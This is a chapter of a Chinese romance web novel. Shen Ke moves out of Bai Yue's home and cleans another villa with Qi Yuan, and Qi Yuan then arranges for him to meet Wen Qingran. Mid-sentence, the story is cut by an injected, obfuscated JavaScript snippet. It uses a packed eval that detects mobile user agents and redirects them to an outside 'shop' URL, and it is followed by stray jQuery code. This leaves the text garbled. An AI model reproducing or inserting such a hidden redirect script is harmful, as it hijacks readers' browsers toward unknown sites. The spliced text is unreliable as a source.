昨晚说出口的时候还有点慌，沈恪翻来覆去地想了大半宿，总觉得像在做梦。早上睁眼盯着天花板看了好一会儿，才发现心不跳了，手也不抖了。
他连忙坐起来开始收拾东西。
他没带多少。只把自己买的那几件衣服叠好塞进袋子。白越买的那一堆，他碰都没碰。
多肉要带上，养了这些天，叶片胖了一圈。床头那只小鸡玩偶也揣进怀里，犹豫了一下，又把那本没看完的小说塞了进去。袋子瘪瘪的，拎在手里轻飘飘的。
白越站在门口，没进来，也没帮忙。沈恪每装一样，他就在门口看一眼。
衣服塞进袋子的时候，他移开了视线，手指在门框上轻轻敲了一下。
沈恪一件都没拿。
白越垂下眼睫。
他不喜欢这样。
沈恪把袋子拉好转过身时，白越还站在门口。
“好了？”
“嗯。”
沈恪从他身边走过。走到楼梯口，他停了一下，回头看了一眼。白越还站在原地。
“明天见。”沈恪说。
白越点了点头：“明天见。”
祈愿在门口等。沈恪出来的时候，他看了一眼那个瘪瘪的袋子，接过去，没说话。
……
沈恪推开温清然别墅的门，站在玄关处愣了好一会儿。
客厅窗帘拉着，光线暗沉沉的，茶几上那盆多肉的叶片蔫了。祈愿把袋子往沙发上一扔：“干活吧。”
沈恪乖乖去拿了扫帚和拖把，从客厅角落开始扫。刚扫了两下，祈愿就看不下去了：“你平常这么扫的？”
沈恪停下来，看看手里的扫帚，又看看地上那点灰：“……不是这样吗？”
“你扫个地跟画符似的，灰都让你扬起来了。”祈愿一把夺过扫帚，“你在家不干活？”
“平常都是白越请别人扫……”
“……他是真想把你养成废人。”
沈恪没听懂，歪着头看他。
祈愿想解释，又觉得说了他也未必懂。最后只啧了一声：“算了，说了你也不懂。”
他把扫帚塞回沈恪手里，从杂物间翻出个圆圆的机器，往往地上一放，按了一下开关。机器嗡嗡响起来，自己转了个圈，开始贴着墙根慢慢挪。
“扫地机器人。”祈愿抱着胳膊靠在门框上，“你看着它扫，别让它卡住就行。”
沈恪蹲下来看那个圆圆的东西转圈，忍不住伸手戳了一下。机器顿了一下，换个方向继续转。
“你别戳它。”祈愿的声音从头顶飘下来，“让它自己扫。”
沈恪收回手，继续蹲着看。机器转了半天，又绕回他脚边，在他拖鞋上蹭了一下，又掉头走了。
他忍不住笑了一声。
“傻不傻。”祈愿说，但没拦他。
沈恪蹲在地上看了很久才站起来，腿有点麻。他扶着茶几缓了缓，看见那盆多肉的土干得裂了缝，叶片皱巴巴的。他摸了摸，把盆底那点水倒进去。
阳光从窗帘缝隙挤进来，照在他手背上。他眯了眯眼，走过去把窗帘拉开。光照进来，满屋子的灰在光里飘。
他忍不住打了个喷嚏。
祈愿在身后叹了口气。
沈恪揉了揉鼻子，把窗户也推开。冷风灌进来，他缩了缩脖子，没关。
“开一会儿透透气。”他小声说，也不知道是说给谁听。
祈愿没说话。
沈恪站在窗边，看外面那棵光秃秃的树。冬天的树枝丫都是干巴巴的，但伸得很开。他盯着看了好一会儿，忽然说：“等春天，这里应该会很好看。”
祈愿嗯了一声。
“到时候请你们来玩。”沈恪转头看他，眼睛亮亮的，“我请客。”
“你有钱吗？”
沈恪想了想：“我可以再摆摊。”
祈愿别过脸，嘴角动了一下，又绷住。沈恪看见了，没戳破，只是蹲回地上继续看那个圆圆的机器转圈。机器嗡嗡响着，从这头转到那头，又从那头转回来，把他脚边的灰一点一点蹭干净。
阳光照在他背上，暖洋洋的。
他忽然觉得，这个房子好像也没那么空了。
现在白越不在了，他一个人站在窗边，反倒觉得踏实了一点。
想他的时候胸口没有那么闷了。
好奇怪。
他挠了挠头，没想明白。
那天下午，祈愿陪他把屋子收拾了一遍。拖地，擦窗，把那盆多肉换了土。沈恪蹲在阳台上，把枯掉的叶子一片一片摘下来，摘得很慢，像在做什么要紧的事。祈愿就靠在门框上看他。
后来沈恪站起来，拍了拍膝盖上的土，说“好了”。祈愿看了一眼客厅，全都擦过了，窗帘拉开了，阳光照进来，灰在光里飘。是比以前像样了点。
“行吧。”他勉勉强强夸了句，“打扫得挺干净。”
沈恪笑了，跑去厨房倒了两杯水。两个人站在阳台上喝，谁都没说话。太阳慢慢西斜，影子拉得很长。沈恪那杯喝完了，杯子攥在手里，看着远处，不知道在想什么。
“祈愿。”
“嗯。”
“你是不是该回去了？”
祈愿没接话。过了一会儿，把杯子递给了沈恪：“走了。”
他走到门口，回头看了一眼。沈恪还站在阳台上，朝他挥了挥手。太阳刚好落下去，把他整个人照成橘红色。
祈愿没回，转身走了。
……
夜里，祈愿一个人坐在客房里。
灯关了，月光从窗户照进来，在地板上画了一个歪歪扭扭的方框。他坐在那片月光旁边，手里攥着那个耳机盒子。
这是沈恪买给他的，用自己赚的钱。
盒子的边角被他攥得有点软了。他把它放在桌上，站起来，走到门口，又回头看了一眼。月光正好落在那个盒子上，白色的，亮亮的。
他看了两秒，关上门。
走廊很暗。他站在沈恪之前住过的客房门口听了一会儿，里面没有声音。站了大概一分钟，才下楼。
客厅的灯还亮着。
白越坐在沙发上，笔记本开着，屏幕上的字密密麻麻的。他没在看，只是盯着屏幕发呆。
他在听。听楼上有没有脚步声，听沈恪会不会突然推门进来，说“我忘了拿东西”。
没有。
楼上安安静静的，沈恪已经搬走了。
祈愿在他对面坐下。
“他没睡？”白越问。
“不知道。”
两个人就这么干坐着。笔记本的风扇在转，嗡嗡的，很轻。
祈愿靠在沙发上，盯着天花板，忽然开口：“你教他调酒的时候，为什么不直接教？”
白越的手指停了一下。
“他调了三杯，三杯都难喝得要命。”
“然后呢？”白越的声音很平。
祈愿没接话。他当然知道然后。然后白越重新调了一杯给他，让他自己对比，说了句“你试试看”。
他搓了搓后颈，别过脸。
白越也没再说话。
客厅安静了很久。
“你教他的那些，”白越盯着屏幕，“他学得很好。”
祈愿愣了一下。
“他会骂人了。会讲价。会自己赚钱。会请客。”白越顿了顿，“以前他从来不会主动说‘我要’。”
祈愿张了张嘴，想说“那是他自己学会的”，但没说出来。
因为他知道不是。沈恪能学会，是因为有人接住了那个“要”。
那个人不是他。
“有烟吗？”他摸了摸口袋，空的。
“没有。戒了。”
“真戒掉了啊？”祈愿嗤了一声，“你那会不是抽得比我还凶，温大少给你递一根你抽一根。”
“他闻到烟味会皱眉。”
祈愿噎了一下。他靠在沙发上闭上眼睛，脑子里全是这些天的画面。摩天轮上沈恪问他为什么回来，说是因为他。蹲在地上数钱的时候，眼睛亮亮的。还有递耳机过来那回，让他戴上试试。
他睁开眼：“你明天要去找他吗？”
“他让我去，我就去。”
“他让你去死你去不去？”
白越没说话。
祈愿看着他那副样子，忽然不想说话了。
疯子来的。
他站起来走到窗边，外面黑漆漆的，路灯孤零零地亮着，照着空荡荡的街道。
他本来可以直接走的。回自己家，回自己的生活，当这一个月没发生过。反正沈恪已经搬回去了，已经学会说“我要”了，不会再被牵着鼻子走了。
明天他不用再坐在这里，继续看着白越那张死人脸，不用再被他们两个那种黏黏糊糊的拉拉扯扯烦到。
挺好的。
他应该觉得挺好的。
白越对沈恪好，什么都给，什么都教。可给来给去，沈恪的世界还是只有白越。他学会说“我要”了，可他要的，永远只有白越给他的那几样。
他不知道自己还能是谁，不知道外面还有什么。
他连问温清然一句“你到底想不想换回来”都不敢，怕问了，就真的没有退路了。
可一直不问，他就永远只能当温清然。
至少，让他知道还有别的可能。
让他自己选。
他靠在窗框上，盯着外面看了很久，久到月亮移了半扇窗。
天快亮了。
白越不知道什么时候关了笔记本，靠在沙发上，闭着眼睛，不知道睡没睡着。
祈愿看了他一眼，忽然有点想笑。
这个什么都要攥在手里的人，现在跟条夹着尾巴的狗一样。
小白总？小白狗还差不多。
祈愿最后看了一眼窗外，转身走了出去。
门在身后合上，他没回房间，只是站在门口，呼出一口白气。
天还没亮透，空气冷得扎人。
白越不知什么时候跟了出来，站在他旁边。
祈愿瞥了他一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17379171|198096||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
眼：“我去问问他想不想见你。”
白越沉默了很久：“……他昨天说，让我一天告诉他一个。”
祈愿愣了一下，他忽然明白白越为什么不敢问了。
因为沈恪说了“会问”，所以白越在等。等沈恪准备好，等沈恪自己开口。
他的火气噌地就冒了上来。
“那你就等着？”他的声音高了半度，又压下去，“你不会自己主动？哑巴了？”
白越没说话。
祈愿看着他，忽然觉得很没意思。
吵赢了又怎样？沈恪还是喜欢他。
“你是真命好。”他丢下这句话，转身走了。
***
走到温清然别墅门口，他没按门铃，直接输了密码。密码用的是温清然的生日，沈恪一直没改过。
门开了，他走进去。客厅很暗，茶几上放着一个透明盒子，里面是沈恪自己买的那个投影灯。
他看了会儿，上楼。
沈恪的房门开着。他站在门口，看见沈恪蜷在床上，小鸡玩偶被他压在脸下面，翅膀都歪了。
他敲了敲门：“起床了，别过少爷生活。”
沈恪动了动，从被子里探出半个脑袋，眼睛还没完全睁开，迷迷糊糊的：“……祈愿？”
“嗯。”
沈恪揉了揉眼睛，坐起来，小鸡玩偶从他怀里滚下去，掉在地上。他弯腰捡起来，抱在怀里，仰头看着祈愿：“怎么了？”
祈愿看着他那副刚睡醒的样子，靠在门边上，问：“想不想见温清然？”
沈恪愣了一下。
“你自己的身体，”祈愿说，“想不想见？”
沈恪低下头，看着怀里的小鸡。小鸡的眼睛圆圆的，黑黑的，正对着他笑。他捏了捏它的翅膀，抬起头：“想！”
“什么时候去？”
沈恪想了想：“就明天吧。”
祈愿点了点头，转身下楼。走到客厅中央，翻到白越的号码，拨了出去。
“听着没，他想明天去。”
电话那头沉默了一会儿，然后传来白越的声音，很低：“我也一起。”
祈愿翻了个白眼：“你去了，温大少只会连着我跟那傻子一块拦在外面。”
电话那头安静了几秒。
“……我送你们去A市。”
祈愿没说话，挂了电话。他站在客厅里，攥着手机，看了一眼茶几上那个投影灯。灯没开，灰扑扑的。
他转过头，看见沈恪还站在楼梯口，抱着那只小鸡，正看着他。
“他说他送我们去。”
沈恪点了点头，抱着小鸡的手紧了紧。
祈愿看了他两秒，忽然伸手在他脑袋上拍了一下：“赶紧洗漱，脸都睡肿了。”
沈恪揉了揉脸，小鸡的翅膀从他怀里滑出来，歪歪地挂在手臂上。他低头看了一眼，把它塞回去，转身往洗手间跑。拖鞋啪嗒啪嗒的，跑到一半又停下来，回头看了一眼祈愿。
“祈愿，你昨晚没睡吗？”
祈愿愣了一下。
“你眼睛下面有黑眼圈。”
祈愿摸了摸自己的脸，别过头：“管好你自己。”
沈恪哦了一声，继续往洗手间跑。
祈愿站在原地，听着那啪嗒啪嗒的脚步声越来越远。然后他低头看了一眼自己的手，那只手刚才拍过沈恪的脑袋。
他攥了攥拳，把手插进口袋里。
手机震了一下。白越发来的：车备好了，明天几点？
祈愿看了一眼，没回。他把手机塞回口袋，听见楼梯上的脚步声。
沈恪跑下来，头发还是湿的，刘海贴在额头上，小鸡玩偶被他夹在胳膊底下。
“我好了！”他站在祈愿面前，眼睛亮亮的，“走吧，去吃饭！我之前出门发现一家超好吃的馆子！”
祈愿看了他两秒，伸手把他刘海拨到一边：“丑死了。”
沈恪嘿嘿笑了两声，没躲。
祈愿收回手，往门口走。走到玄关，他停下来，回头看了一眼茶几上那个投影灯。
“那个灯，你不开？”
“我还没开过诶。”沈恪愣了一下，跑过去把灯打开。
星星从盒子里溢出来，铺满天花板，铺满墙壁。
沈恪站在光里，仰着头，眼睛里有星星在转，忍不住笑了：“好漂亮。”
祈愿站在门口，看着那些星光落在沈恪脸上、头发上、肩膀上。
他也会买一盏的。
放在沈恪床头，每天晚上给他开。
……以什么身份呢？
这个念头只闪了一下，就被他掐灭了。
他低下头，看着自己攥着手机的手。
他早该知道的。从台球馆那一棍开始。
从那一棍开始，他就不该再往前走了。
祈愿别过脸：“走了。”
沈恪关了灯，把小鸡放到了沙发上，跑了过来。
“走吧。”
祈愿嗯了一声，走在了前面。